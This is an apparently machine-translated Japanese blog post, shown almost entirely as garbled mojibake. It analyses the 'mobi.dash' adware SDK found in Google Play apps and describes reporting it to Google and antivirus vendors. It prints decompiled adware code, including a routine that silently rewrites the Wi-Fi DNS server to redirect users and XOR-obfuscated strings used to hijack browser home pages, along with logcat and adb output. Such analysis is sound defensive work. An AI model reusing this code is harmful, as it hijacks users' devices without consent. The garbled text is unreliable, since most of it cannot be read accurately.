éå»1æ¥éãæ°çŸã®ãã¥ãŒã¹ãµã€ãïŒ ã¯ã©ãã¯ããã³ã¿ã€ã ïŒããGoogle Playã§ã®æ¬¡ã®æªæã®ããã¢ããªã±ãŒã·ã§ã³ã®çºèŠã«ã€ããŠäŒãã1ã€ã®èå³æ·±ããã¥ãŒã¹ãåçããŠããŸãã ä»åãããã€ã¹ã®ããã¯ã解é€ããã
ã«ããã®äžã§ãã€ãã³ãã®ããŒãžã§ã³ã説æããŸã.Google Playã§ã¢ããŠã§ã¢ãèšç®ããŠæ€çŽ¢ããæ¹æ³ãã¢ããŠã§ã¢SDKã³ãŒããéã³ã³ãã€ã«ããæ¹æ³ãGoogleãµããŒãããã®åçãåŸ ã€ããšãã§ããããã¢ãã€ã«ãŠã€ã«ã¹å¯Ÿçã圹ã«ç«ããªãçç±ããããã€ã³ãã©ã¡ãŒã·ã§ã³ã©ã€ã³ã§åªããç¡æåºåãäœæããæ¹æ³ã«ã€ããŠèª¬æããŸãã
ãã䜿ãã®Androidã®ããŒãžã§ã³ã¯å€ããªã£ãŠããŸãã
ããå€ãç§ã®ãã人é䞻矩çã§çŸããååã®äººããé»è©±ã絶ãããããèŠæ±ããŠããã®ã«ããªã圌女ã¯é»è©±ã«ã¢ããããŒããã€ã³ã¹ããŒã«ã§ããªãã£ãã®ããšå°ããŠããŸããã ãã©ãŠã¶ã®ã¿ããç»é¢äžã«éããããã®æŽæ°ããã°ã©ã ããŸã ã€ã³ã¹ããŒã«ããããã«èªãããŸããã ã¿ããéãããšããã©ãŠã¶ã§80以äžã®ããŒãžãéãããŠããããšãããããŸããã çãå°åã®åŸã圌ãã¯å®éã«é»è©±ã«çãããã¢ããªã±ãŒã·ã§ã³ãã€ã³ã¹ããŒã«ããŠããªãããšãå€æããŸãã-ãµãŒãããŒãã£ã®ãœãŒã¹ããã€ã³ã¹ããŒã«ãããªãã·ã§ã³ã¯èšå®ã§ç¡å¹ã«ãããããŸããã çµå±ã®ãšãããæºåž¯é»è©±ã®ããã¯ã解é€ããããã³ã«ãã©ã³ãã£ãŒäžã®åºåãŸãã¯AdMobãããŒãšã®ãªã³ã¯ããã©ãŠã¶ãŒã§éãããŸããã
ã¢ããªãGoogle Playããæ確ã«æäŸããããããã¹ããŒãªãŒã¯èå³æ·±ããã®ã«ãªããŸããã é»è©±ãçæã«æã¡ãLogCatãããäžæ¹ã®æã«åãããã®åºåãå®è¡ããŠãã人ãèŠã€ãå§ããŸããã
// TODOïŒãªãªãŒã¹ã§ãã°ãç¡å¹å
ãã®ã€ãã³ãã®äž»äººå ¬ã¯éåžžã«è¿ éã«ã€ã³ã¹ããŒã«ãããŸãããçµå±ã®ãšãããéçºè ã¯ãªãªãŒã¹ããŒãžã§ã³ã§ã®ãã°èšé²ã®ç¡å¹åããŸã£ããèæ ®ããŠããŸããã§ããã ç»é¢ãããã¯ãŸãã¯ããã¯è§£é€ãããã³ã«ãLogCatã¯ãªã¯ãšã¹ãã®çµæã«é¢ãã詳现æ å ±ãåºåããã®ä»ã®ãããã°ããŒã¿ã®ããã«ãµãŒããŒã«éããŸããã ãã®ããã«èŠããïŒ
Logcat
01-31 02ïŒ15ïŒ13.303ïŒD / MicrologïŒ3020ïŒïŒMicrolog 1669935ïŒ[DEBUG]-å€éšURLãéããŸãã ã€ã³ãã³ãã§éå§ïŒã€ã³ãã³ã{act = android.intent.action.VIEW dat = httpïŒ//brodero.com/v2/b/rsïŒAgid = af70e9985-a73c-46d6-a24e-a7e112748cf7ïŒvid = 3ad864d4-643d-4f55-8dbd -ae76ebf08bbcïŒbgid = ba6195268-bfaa-451C-8736-aba9b7449306ïŒU =ã®httpïŒ//terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 FLG = 0x10000000 CMP = com.android.chrome / com.google.android.apps .chrome.Main}
01-31 02ïŒ15ïŒ13.306ïŒI / ActivityManagerïŒ734ïŒïŒSTART u0 {act = android.intent.action.VIEW dat = httpïŒ//brodero.com/v2/b/rsïŒAgid = af70e9985-a73c- 46d6-a24e-a7e112748cf7ïŒVID = 3ad864d4-643d-4f55-8dbd-ae76ebf08bbcïŒbgid = ba6195268-bfaa-451C-8736-aba9b7449306ïŒU = HTTPïŒ//terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 FLG = 0x10000000 CMP = com.android.chrome/com.google.android.apps.chrome.Main}ããããã£ã¹ãã¬ã€0ã®UID 10065ãã
01-31 02ïŒ15ïŒ13.306ïŒI / ActivityManagerïŒ734ïŒïŒSTART u0 {act = android.intent.action.VIEW dat = httpïŒ//brodero.com/v2/b/rsïŒAgid = af70e9985-a73c- 46d6-a24e-a7e112748cf7ïŒVID = 3ad864d4-643d-4f55-8dbd-ae76ebf08bbcïŒbgid = ba6195268-bfaa-451C-8736-aba9b7449306ïŒU = HTTPïŒ//terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 FLG = 0x10000000 CMP = com.android.chrome/com.google.android.apps.chrome.Main}ããããã£ã¹ãã¬ã€0ã®UID 10065ãã
æå³ã¯ãPID 3020ã§ããã»ã¹ãéå§ããŸãããæ®ã£ãã®ã¯ããã®PIDãã©ã®ãã±ããã«å±ãããã調ã¹ãããšã ãã§ããã psã³ãã³ã| grep 3020 "ã¯adbã·ã§ã«ã§å®è¡ãããŸãã ç§ã¯æ確ãªçããåãåããŸããïŒ
adbã·ã§ã«
ã·ã§ã«@ãã³ããŒãããïŒ/ $ ps | grep 3020
ps | grep 3020
u0_a65 3020 195 1534568 66696 ffffffff 00000000 S com.sweet.world.history
ps | grep 3020
u0_a65 3020 195 1534568 66696 ffffffff 00000000 S com.sweet.world.history
World Historyã¢ããªã±ãŒã·ã§ã³ããã®èåŸã«ããããšãå€æããŸããã ã¢ããªã±ãŒã·ã§ã³ã«ã¯5,000ãè¶ ããã€ã³ã¹ããŒã«ããããŸãã ãŸããGoogle Playããé·ãéã€ã³ã¹ããŒã«ãããŠããŸããããæè¿åºåãæµãå§ããŸããã ã¢ããªã±ãŒã·ã§ã³ãã¢ã³ã€ã³ã¹ããŒã«ããåŸããã¡ããåºåã¯ç®éãã§ãªããªããŸããã
é£ããããšã§ã¯ãããŸããã§ãããããã®ãŸãŸã«ããŠããããšã¯ã§ããŸããã APKã詳现ã«åæããŠãã³ãŒãã®å éšã«å ¥ããŸãã
ãã¡ã¹ãã¯ã©ã³ã...ã
ããŒã«ã«ã€ããŠã¯ãæ°ããããšã¯äœãäŒããŸãã-dex2jarã䜿çšããŠjarã®ã³ãŒããååŸãã apktoolã䜿çšããŠxmlãªãœãŒã¹ãéã³ã³ãã€ã«ããŸãïŒãŸããsmaliã®æ¹æ³ãç¥ã£ãŠããŸãããããã¯ãŸã£ããç°ãªã話ã§ãïŒã ã¡ãªã¿ã«ãåŸè ã¯éåžžã«ãå§ãã§ããLuytenã¯Procyonã® GUIã§ãããéåžžã«ã¯ãŒã«ã§ãã å°ãªããšãåã«äœ¿çšããJDãšæ¯èŒãããšãProcyonã®æ¹ã奜ãã§ããã
Androidã®éçºã«ç²ŸéããŠããKhabrovskã®äººã ã¯ãã¢ããªã±ãŒã·ã§ã³ããã®ãããªcãªåºåã衚瀺ããããã«ãã€ãã³ãandroid.intent.action.SCREEN_OFFããã³android.intent.action.SCREEN_ONã®ãããŒããã£ã¹ãã¬ã·ãŒããŒãæ瀺çã«ç»é²ããããšããã§ã«èªèããŠããŸãã ãããã®ã¢ã¯ã·ã§ã³ã¯ã³ãŒãããã®ã¿ãµãã¹ã¯ã©ã€ãã§ããããããããã§ã¹ãã«èå³æ·±ããã®ã¯ãªãã¯ãã§ãã ããããããã§ããããèŠãŠã¿ãŸãããïŒæçµçã«éã³ã³ãã€ã«ãããã®ã¯ç¡é§ã§ã¯ãããŸããã§ããïŒ-ãããã§ã¹ãã«ã¯ããã€ãã®èå³æ·±ãã³ã³ããŒãã³ãããããŸããã ãããŒããã£ã¹ãã¬ã·ãŒããŒã®1ã€ãandroid.intent.action.BOOT_COMPLETEDã«ãµãã¹ã¯ã©ã€ããããŸããã ããã¯mobi.dash.overapp.DisplayCheckRebootReceiverãšåŒã°ããŠããŸãã -ç§ã¯ããããã³ãŒããå匷ãå§ããŸããïŒ
DisplayCheckRebootReceiver
public void onReceive(final Context context, final Intent intent) { AdsLog.d("AdsOverappRebootReceiver", intent.toString()); Object stringExtra = null; if (intent != null) { stringExtra = intent.getStringExtra(DisplayCheckRebootReceiver.Param_Event); } if (DisplayCheckRebootReceiver.Event_SendAlive.equals(stringExtra)) { sendAlive(context); return; } AdsOverappRunner.ping(context.getApplicationContext()); }
ã³ãŒããããããããã«ãAdsOverappRunner.pingã¡ãœããã¯æåã®åèµ·ååŸã«åŒã³åºãããŸãã æå®ãããã¡ãœããã¯ãrawãã©ã«ããŒã®ãªãœãŒã¹ã«ããads_settings.jsonãã¡ã€ã«ããèšå®ãèªã¿èŸŒã¿ãåŸ æ©ãéå§ããŸãã ãããŠããã®åŸ æ©ãç¶ãæéã¯ãads_settings.jsonãã¡ã€ã«ã«ç€ºãããŠããŸãã ãã®åŸããã¹ãŠãéåžžã«ç°¡åã§ã-ãããã15åééã§AlarmManagerã䜿çšãããšãã¢ããªã±ãŒã·ã§ã³ã¯åãDisplayCheckRebootReceiverãååŸããã€ã³ãã¥ããŒã·ã§ã³æéãçµäºãããã©ããã確èªããŸãã åŸ æ©ãçµäºãããšã mobi.dash.overapp.DisplayCheckServiceãèµ·åããŸããããã«ããããŠãŒã¶ãŒã¯ãã§ã«åºåã§æºè¶³ããŠããŸãã
ååãšããŠããããŸã§ã®ãšããçããããšã¯ãããŸãããããã1ã€ã®äºå®ã§ãªããã°ãããã¯ãã¹ãŠã¢ããªã±ãŒã·ã§ã³ã®äœæè ã®ä»äºã§ã¯ãªããæããã«ãµãŒãããŒãã£ã®SDKã§ããã ããã«ããããªãåæãè¡ãããªããŠãã mobi.dashããã±ãŒãžã«ã¯çŽ200ã®ã¯ã©ã¹ãå«ãŸããŠããããããã§ã«èªä¿¡ãçãŸããŠããŸãã
ç»é¢ãããã¯ããããã³ã«ãSDKã¯ãµãŒããŒã«èŠæ±ãè¡ãã衚瀺ãã䟡å€ã®ããå¿çã§åºåãåä¿¡ããŸããã åæã«ãããŸããŸãªã¿ã€ãã®åºåããµããŒããããŸããã
DisplayCheckService
public void showAd(final AdsOverappType lastOverappType, final BannerData bannerData) { this.hideAd(); BlacklistManager.getInatance().onBannerShow((Context)this, bannerData.id); Ads.getHistory().addBannerAction(bannerData.localId, "service", "showAd"); this.lastOverappType = lastOverappType; this.saveLastOverappType(); if (lastOverappType == AdsOverappType.Alert) { this.showAlert(bannerData); return; } if (lastOverappType == AdsOverappType.Recommendation) { this.showRecomendation(bannerData); return; } if (lastOverappType == AdsOverappType.Link) { this.showLink(bannerData); return; } if (lastOverappType == AdsOverappType.Sdk) { this.showSdk(bannerData); this.waitAndRequestNextAd(); return; } if (lastOverappType == AdsOverappType.Notification) { this.showNotification(bannerData); this.waitAndRequestNextAd(); return; } this.showBanner(bannerData); this.waitAndRequestNextAd(); }
ãµãŒããŒããã®ã³ãã³ãã§ãSDKã¯æå®ãããããã¹ããå«ããã€ã¢ãã°ã衚瀺ãããã©ãŠã¶ãŒã§ãªã³ã¯ãéããAdMobãMopubãŸãã¯Chartboostããã®åºåã衚瀺ããéç¥ãã¹ããŒããŸãã
ããã«ãããèå³æ·±ãæ©èœãå éšã«èŠã€ãããŸãã-SDKã¯wi-fiæ¥ç¶èšå®ã§DNSãµãŒããŒãå·§ã¿ã«å€æŽããŸããïŒ
DisplayCheckService
public static void setupDns(final Context context) { final String dns = getDns(context); if (!TextUtils.isEmpty((CharSequence)dns)) { final WifiManager wifiManager = (WifiManager)context.getSystemService("wifi"); if (wifiManager != null) { final DhcpInfo dhcpInfo = wifiManager.getDhcpInfo(); if (dhcpInfo != null) { final String formatIpAddress = Formatter.formatIpAddress(dhcpInfo.ipAddress); final String formatIpAddress2 = Formatter.formatIpAddress(dhcpInfo.netmask); final String formatIpAddress3 = Formatter.formatIpAddress(dhcpInfo.gateway); final ContentResolver contentResolver = context.getContentResolver(); Settings$System.putString(contentResolver, "wifi_use_static_ip", "1"); Settings$System.putString(contentResolver, "wifi_static_ip", formatIpAddress); Settings$System.putString(contentResolver, "wifi_static_netmask", formatIpAddress2); Settings$System.putString(contentResolver, "wifi_static_gateway", formatIpAddress3); Settings$System.putString(contentResolver, "wifi_static_dns1", dns); Settings$System.putString(contentResolver, "wifi_static_dns2", dns); } } } }
ã»ãšãã©ã®å Žåãããã¯ãŠãŒã¶ãŒãå¿ èŠãªåºåãµã€ãã«ãªãã€ã¬ã¯ãããããã«è¡ãããŸããã
ãŸããSDKã¯ãã¹ã¯ãããäžã«åœã®ã·ã§ãŒãã«ãããäœæãããŠãŒã¶ãŒããµãŒããŒããã®ãªã³ã¯ã«èªå°ããŸããã ããŠãããããæåŸã®èå³æ·±ãæ©èœã¯ããã©ãŠã¶ãŒã®ããŒã ããŒãžãå€æŽããæ©èœã§ãã ãããæ åœããã³ãŒãã¯ãSDKã§å¯äžã®ä¿è·ãããå Žæã§ããããšãå€æããŸãããä»ã®ãã¹ãŠã®ãã®ã¯ã眮ãæããããšãã§ããŸãããé£èªåãããããŠããŸããã ãã©ãŠã¶ã¯ç°ãªããããSDKã¯3ã€ã®ç°ãªãæ¹æ³ã䜿çšããŸãã åæã«ãããŒã ããŒãžãå€æŽããããã«äœ¿çšãããã³ã³ãã³ããªãŸã«ãã®ãã¹ã®ã€ã³ãã³ããŸãã¯URIã®ååã¯ãæå·åXORæå·åã¢ã«ãŽãªãºã ã§æå·åãããæåã¯ãã€ãé åã®ããã«èŠããŸããã
ããŒã ããŒãžã€ã³ãžã§ã¯ã¿ãŒ
a = new byte[] { 13, 9, 1, 37, 14, 25, 55, 75, 27, 24, 29, 6, 11, 90, 94, 16, 29, 25, 89, 3, 0, 0, 93, 58, 54, 32, 58, 58, 97, 4, 11, 3, 21, 6, 9, 45, 49, 38, 32, 32, 62, 55, 107, 59 }; b = new byte[] { 9, 1, 9, 23, 26, 27, 13 };
ç°¡åãªæäœã®åŸãããã¯ãã¬ãŒã³ããã¹ãã«å€ãããŸããã
Xor
lgeWapService.prov.persister.INSTALL_BROWSER
ãã¡ãŠãª
ãã¡ãŠãª
ãããŠããã®ãããªã¢ã¯ã·ã§ã³ãšè¿œå ã®ãã©ã¡ãŒã¿ãŒã§æ¥ãã æŸéã LGæºåž¯é»è©±ã§ã¯ãããã«ããããŒã ããŒãžãå®éã«å€æŽãããå¯èœæ§ããããŸãã ã»ãšãã©ã®å Žåãããã¯ãŠã€ã«ã¹å¯Ÿçã¹ãã£ã³ããä¿è·ããããã«è¡ãããŸããã å°ãªããšãvirustotalã¯ãã¢ããªã±ãŒã·ã§ã³ã¯çµ¶å¯Ÿã«å®å šã§ãããšèªä¿¡ãæã£ãŠè¿°ã¹ãŠããŸãã
圌ãã®ååã¯è»å£ã§ã
SDKã®å€èŠ³ã¯éåžžã«åªããŠããããã5,000ã®ã€ã³ã¹ããŒã«ãããã¢ããªã±ãŒã·ã§ã³ã«åã蟌ãããã ãã«äœæããããšã¯èããããŸããã§ããã ãŸããåãèè ã®æ®ãã®ã¢ããªã±ãŒã·ã§ã³ããã§ãã¯ããŸããã çµå±ã®ãšãããmobi.dashã®åºåã¯ããããã«çµã¿èŸŒãŸããŠããŸããã ãããŠãèè ã«ã¯å€ãã®ã¢ããªã±ãŒã·ã§ã³ããããŸããã
ãã¡ãããåºæ¬çã«åœŒãã¯éåžžã«å°æ°ã®ã€ã³ã¹ããŒã«ãããããŸããã§ãããããã®ãã¡ã®1ã€ã§ã¯ã€ã³ã¹ããŒã«æ°ã5äžãè¶ ããŠããŸããã ãããããã¡ããããã®SDKã®é åžã¯1ã€ã®ãããªãã·ã£ãŒã«éå®ãããã¹ãã§ã¯ãããŸããã SDKã¯ad1.mads.bzãµãŒããŒã§ã®åºåã«äœ¿çšãããããããã®åé¡ã«çŽé¢ããŠãã人ãæ¢ãããšã«ããŸããã w3bsit3-dns.comã«ã¯ããŠãŒã¶ãŒããã®ãããªåºåãšæŠã£ãŠãããããã¯å šäœãå«ãŸããŠããããšãããããŸããã ããã§ã ad1.mads.bzããåºåããã«ãã2ã€ã®ã¢ããªã±ãŒã·ã§ã³ãžã®åç §ãèŠã€ããŸããã ãããã®ã¢ããªã±ãŒã·ã§ã³ã¯ãã¯ããã«äººæ°ãããããšãå€æããŸããã
500äžãè¶ ããã€ã³ã¹ããŒã«ãš100äžãè¶ ããã€ã³ã¹ããŒã«-åªããèŠèŽè ã®ãªãŒãã éåžžã«å€ãã®ã€ã³ã¹ããŒã«ãããã«ãŒãã²ãŒã ãFoolãã«ã¯ãæ¯æ¥äœäžäººãã®ã¢ã¯ãã£ããŠãŒã¶ãŒãããã¯ãã§ãã ã¬ãã¥ãŒã«ã¯ã²ãŒã ãåºåã衚瀺ãããšããåŠå®çãªã³ã¡ã³ããå€ããããŸããããã¢ã³ããŠã€ã«ã¹ã¯äœãå€æããŸããã ã¢ã³ããŠã€ã«ã¹ãAirPush SDKãèªãããšãèãããšãããã¯ããªãå¥åŠã§ããã ãšããã§ãç§ãèŠã€ããmobi.dash sdkã®æåã®èšåã¯ã2013幎10æ1æ¥ãŸã§ããã®ãŒããŸãã ããããã1幎åãšæ°çŸã®ãŠãŒã¶ãŒããã®èŠæ ã®åŸã誰ããè¡åãèµ·ããã¹ãã§ããããïŒ ãã®ãããªåºåãæã£ãŠããå Žåãã¢ãã€ã«ãŠã€ã«ã¹å¯Ÿçãœããã®å©ããæ±ããŠããªãå Žåãæ®éã®ãŠãŒã¶ãŒã¯ä»ã«äœããã¹ãã
誰ãããã¹ãŠãç§ã®é»è©±ã§æ£åžžã§ãããšæã£ãã ããããããã§äœããããå¿ èŠããã£ãã
ããããŠïŒã
ãã®æç¹ã§ãSDKã®æ©èœãšããããå®è¡ããã¢ããªã±ãŒã·ã§ã³ã«é¢ããåºç¯ãªæ å ±ãæ¢ã«å ¥æããŸããã ãããã£ãŠãç§ãæåã«ããããšã¯ãããã«ã€ããŠGoogleã«éç¥ãã
Google Playã³ã³ãã³ãããªã·ãŒéå
ãã®ã¢ããªã¯æ¬¡ã®ããªã·ãŒã«éåããŠããŸãã
* Google Playã³ã³ãã³ãããªã·ãŒããã·ã¹ãã å¹²æžãã®ç« ïŒ
-ããã«ã¯ãã¢ããªããŠã£ãžã§ããããŸãã¯ããã€ã¹ã®èšå®ã®ããã©ã«ã衚瀺ã®çœ®æãŸãã¯äžŠã¹æ¿ããªã©ã®åäœãå«ãŸããŸãã ã¢ããªããŠãŒã¶ãŒã®ç¥èãšåæã§ãã®ãããªå€æŽãè¡ãå Žåãã©ã®ã¢ããªãå€æŽãè¡ã£ããããŠãŒã¶ãŒã«æ確ã«ãããŠãŒã¶ãŒã¯ç°¡åã«å€æŽãå ã«æ»ãããã¢ããªãå®å šã«ã¢ã³ã€ã³ã¹ããŒã«ããå¿ èŠããããŸãã
+ãŠãŒã¶ãŒãæªæã®ãããµã€ãã«ãªãã€ã¬ã¯ãããããã«Wi-Fiãæ¥ç¶ãããŠããå Žåãã¢ããªã¯DNSãµãŒããŒãå€æŽã§ããŸã
-ã¢ããªãšãã®åºåã¯ããã©ãŠã¶èšå®ãããã¯ããŒã¯ãå€æŽãŸãã¯è¿œå ããããããŒã ç»é¢ã®ã·ã§ãŒãã«ãããè¿œå ãããããµãŒãããŒãã£ãžã®ãµãŒãã¹ãšããŠããŸãã¯åºåç®çã§ãŠãŒã¶ãŒã®ããã€ã¹ã«ã¢ã€ã³ã³ãè¿œå ãããããŠã¯ãªããŸããã
+ã¢ããªã¯ãã©ãŠã¶ã®ããŒã ããŒãžãå€æŽããããŒã ç»é¢ã®ã·ã§ãŒãã«ãããäœæã§ããŸã
-ã¢ããªãšãã®åºåã¯ãã€ã³ã¹ããŒã«ãããã¢ããªïŒããšãã°ãç¹å¥ãªååŒããŠãŒã¶ãŒã«éç¥ããèªç©ºäŒç€Ÿã¢ããªããŸãã¯ãŠãŒã¶ãŒã«éç¥ããã²ãŒã ïŒã«ãã£ãŠæäŸãããçµ±åæ©èœã«ç±æ¥ããå Žåãé€ãããŠãŒã¶ãŒã®ããã€ã¹ã§ã·ã¹ãã ã¬ãã«ã®éç¥ãéããŠåºåã衚瀺ããŠã¯ãªããŸããã²ãŒã å ããã¢ãŒã·ã§ã³ã®ïŒã
+ã¢ããªã¯ãã·ã¹ãã ã¬ãã«ã§ä»ã®ãã¹ãŠã®ã¢ããªã±ãŒã·ã§ã³ãšéè€ããåºåã衚瀺ããŸã
* Google Playåºåããªã·ãŒããåºåã³ã³ããã¹ããã®ç« ïŒ
-åºåã¯ãã¢ããªã®ãŠãŒã¶ãŒã€ã³ã¿ãŒãã§ãŒã¹ããŸãã¯ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®éç¥ããã³èŠåèŠçŽ ãã·ãã¥ã¬ãŒããŸãã¯åœè£ ããŠã¯ãªããŸããã ååºåãã©ã®ã¢ããªã«é¢é£ä»ããããŠããããã©ã®ã¢ããªã«å®è£ ãããŠãããããŠãŒã¶ãŒã«æ確ã«ããå¿ èŠããããŸãã
+衚瀺ãããåºåã¯ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®èŠåãéåžžã«é »ç¹ã«ã·ãã¥ã¬ãŒãããã¹ã¯ãªãŒã³ã·ã§ãããæ·»ä»ãããŸã
* Google Playã³ã³ãã³ãããªã·ãŒããã·ã¹ãã å¹²æžãã®ç« ïŒ
-ããã«ã¯ãã¢ããªããŠã£ãžã§ããããŸãã¯ããã€ã¹ã®èšå®ã®ããã©ã«ã衚瀺ã®çœ®æãŸãã¯äžŠã¹æ¿ããªã©ã®åäœãå«ãŸããŸãã ã¢ããªããŠãŒã¶ãŒã®ç¥èãšåæã§ãã®ãããªå€æŽãè¡ãå Žåãã©ã®ã¢ããªãå€æŽãè¡ã£ããããŠãŒã¶ãŒã«æ確ã«ãããŠãŒã¶ãŒã¯ç°¡åã«å€æŽãå ã«æ»ãããã¢ããªãå®å šã«ã¢ã³ã€ã³ã¹ããŒã«ããå¿ èŠããããŸãã
+ãŠãŒã¶ãŒãæªæã®ãããµã€ãã«ãªãã€ã¬ã¯ãããããã«Wi-Fiãæ¥ç¶ãããŠããå Žåãã¢ããªã¯DNSãµãŒããŒãå€æŽã§ããŸã
-ã¢ããªãšãã®åºåã¯ããã©ãŠã¶èšå®ãããã¯ããŒã¯ãå€æŽãŸãã¯è¿œå ããããããŒã ç»é¢ã®ã·ã§ãŒãã«ãããè¿œå ãããããµãŒãããŒãã£ãžã®ãµãŒãã¹ãšããŠããŸãã¯åºåç®çã§ãŠãŒã¶ãŒã®ããã€ã¹ã«ã¢ã€ã³ã³ãè¿œå ãããããŠã¯ãªããŸããã
+ã¢ããªã¯ãã©ãŠã¶ã®ããŒã ããŒãžãå€æŽããããŒã ç»é¢ã®ã·ã§ãŒãã«ãããäœæã§ããŸã
-ã¢ããªãšãã®åºåã¯ãã€ã³ã¹ããŒã«ãããã¢ããªïŒããšãã°ãç¹å¥ãªååŒããŠãŒã¶ãŒã«éç¥ããèªç©ºäŒç€Ÿã¢ããªããŸãã¯ãŠãŒã¶ãŒã«éç¥ããã²ãŒã ïŒã«ãã£ãŠæäŸãããçµ±åæ©èœã«ç±æ¥ããå Žåãé€ãããŠãŒã¶ãŒã®ããã€ã¹ã§ã·ã¹ãã ã¬ãã«ã®éç¥ãéããŠåºåã衚瀺ããŠã¯ãªããŸããã²ãŒã å ããã¢ãŒã·ã§ã³ã®ïŒã
+ã¢ããªã¯ãã·ã¹ãã ã¬ãã«ã§ä»ã®ãã¹ãŠã®ã¢ããªã±ãŒã·ã§ã³ãšéè€ããåºåã衚瀺ããŸã
* Google Playåºåããªã·ãŒããåºåã³ã³ããã¹ããã®ç« ïŒ
-åºåã¯ãã¢ããªã®ãŠãŒã¶ãŒã€ã³ã¿ãŒãã§ãŒã¹ããŸãã¯ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®éç¥ããã³èŠåèŠçŽ ãã·ãã¥ã¬ãŒããŸãã¯åœè£ ããŠã¯ãªããŸããã ååºåãã©ã®ã¢ããªã«é¢é£ä»ããããŠããããã©ã®ã¢ããªã«å®è£ ãããŠãããããŠãŒã¶ãŒã«æ確ã«ããå¿ èŠããããŸãã
+衚瀺ãããåºåã¯ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®èŠåãéåžžã«é »ç¹ã«ã·ãã¥ã¬ãŒãããã¹ã¯ãªãŒã³ã·ã§ãããæ·»ä»ãããŸã
å®å šã«ç解ããããã«ããã®åºåãã©ã®ããã«èŠãããã瀺ããããªãé²ç»ããŸããã
åºåSDKãšãã®æ©èœã«é¢ããç§ã®ç 究ã詳现ã«èª¬æããã¢ããªã±ãŒã·ã§ã³ã®ãªã¹ããæäŸããŸããã æ¥ä»ã翻蚳ããã ãã§ãåºåããã°ãã衚瀺ããæ¹æ³ã«ã€ããŠè©³çŽ°ãªèª¬æãæžããŸããã æçŽã¯1æ22æ¥ã«ç§ã眮ãå»ãã«ããŸããã
ç§ã¯ããã«å¯ŸããçããåãåãããGoogleããçµæãåŸãªãã£ãããšã«èª°ãé©ããªããšæããŸãã æ®å¿µãªãããGoogleã§ã¯ãMrãBoxããŠãŒã¶ãŒããã®èŠæ ãåŠçãããããã¯é æ¹ã®ããã¯ã¹ã«å ¥ããããŸãã
ã¢ã³ããŠã€ã«ã¹
ããã§ããã¢ããªã±ãŒã·ã§ã³ãGoogleã«æ®ã£ãŠããŠãïŒãããŠããã®ãã¡140åãååšããå Žåã§ãïŒãã¢ã³ããŠã€ã«ã¹ãå°ãªããšãäœããã®åœ¢ã§ãã®SDKã«ã€ããŠèŠåããŠãããããããšæããŸãã ã¢ãã¹ãå士ã®ãã©ãŒã©ã ã§ãããã¯ãäœæããŸãã WebãšKasperskyã¯ãã¢ã³ããŠã€ã«ã¹ã¯ãã®ãããªåºåã«ã¯äžååå¿ããªããšææããŸãããããšã«ããããŒã¿ããŒã¹ã«è¿œå ããã®ã¯è¯ãããšã§ãã ä»ã®ãšãããããã¯éåžžã«ç°¡åã§ãã çµå±ã®ãšãã ããã®ãããªã¢ããªã±ãŒã·ã§ã³ã®ãããã§ã¹ãã§ã¯mobi.dashã³ã³ããŒãã³ãã宣èšãããŠããŸãã ãã©ãŒã©ã ã§ãã«ã¹ãã«ã¹ããŒã¯éåžžã«è¿ éã«åå¿ãããããç解ããããšãçŽæããããã«å¹Žéãµãã¹ã¯ãªãã·ã§ã³ãæ瀺ããŸããã ãã©ãŒã©ã ã¢ãã¬ãŒã¿ãŒ Webã¯ãåæã®ããã«ãã¡ã€ã«ããŠã€ã«ã¹å¯Ÿçã©ãã«éä¿¡ããããšãææ¡ããŸããã ã¢ãã¹ãã¯3æ¥åŸã«åå¿ããæŽçããããšãçŽæããŸããã ãã©ãŒã©ã ã®ãããã¯ã§ã¢ã¯ãã£ããã£ããªããªããŸããã
æŽæ°
ã«ã¹ãã«ã¹ããŒã¯ä»ã®å
ãè¡ã£ãŠããŸããçŽæã¯å®ãããæŽçãããŠããŸãã èšäºã®å
¬éæ¥çŸåšãã«ã¹ãã«ã¹ããŒã€ã³ã¿ãŒãããã»ãã¥ãªãã£ã¯ãã§ã«ãã®åºåã¢ãžã¥ãŒã«ãçºèŠããŠããŸãã ä»ããçºèŠïŒ
ä»æ¥ããã©ãŒã©ã æçš¿ã®10æ¥åŸãçªç¶ãåºåã瀺ããããªã®äžã«ã³ã¡ã³ãã衚瀺ããå§ããŸããã ããã¯ãããªãéå ¬éã ã£ãããšãèãããšãããå¥åŠã§ããã ããã«å¥åŠãªã®ã¯ããããªã®åçåæ°ã1äžåã§ãããšããäºå®ã§ããïŒçŸæç¹ã§ã¯ãã§ã«2äžåãè¶ ããŠããŸãïŒã ã¢ãã¹ãããã®åºåSDKã䜿çšããã¢ããªã±ãŒã·ã§ã³ã«é¢ããããã°èšäºãæçš¿ããããšãå€æããŸããã ãã®èšäºã§ç§ãæžãããã®ãé€ããŠãæ°ãããã®ã¯äœããããŸããã§ããããã ãããã®åºåãæ¢ã«å®çŸ©ããŠããã¢ãã¹ãã®ãã¬ãã¢ã ããŒãžã§ã³ã®ãŠã€ã«ã¹å¯Ÿçã®åºåãè¿œå ãããŠããç¹ãç°ãªããŸãã ã©ããããç©èªã¯èå³æ·±ãããšãå€æãããã¬ã¹ãªãªãŒã¹ã泚ç®ãéããŸããã ãã©ãŒã©ã ã«ã¢ããªã±ãŒã·ã§ã³ããã³SDKåæãžã®ãªã³ã¯ãæçš¿ããåŸãã¢ãã¹ããšã¢ããªã¹ãã®Filip ChitryãGoogle Playã§æªæã®ããã¢ããªã±ãŒã·ã§ã³ãçºèŠããæ¹æ³ã«é¢ãããã¥ãŒã¹ããå€ãã®å€§ããªæ å ±ãªãœãŒã¹ã«å°éããŸããã
ããã°ã«æçš¿ããŠãã6æéåŸã«ãç§ãèšåãããã¹ãŠã®ã¢ããªãGoogle Playããåé€ãããŸããã
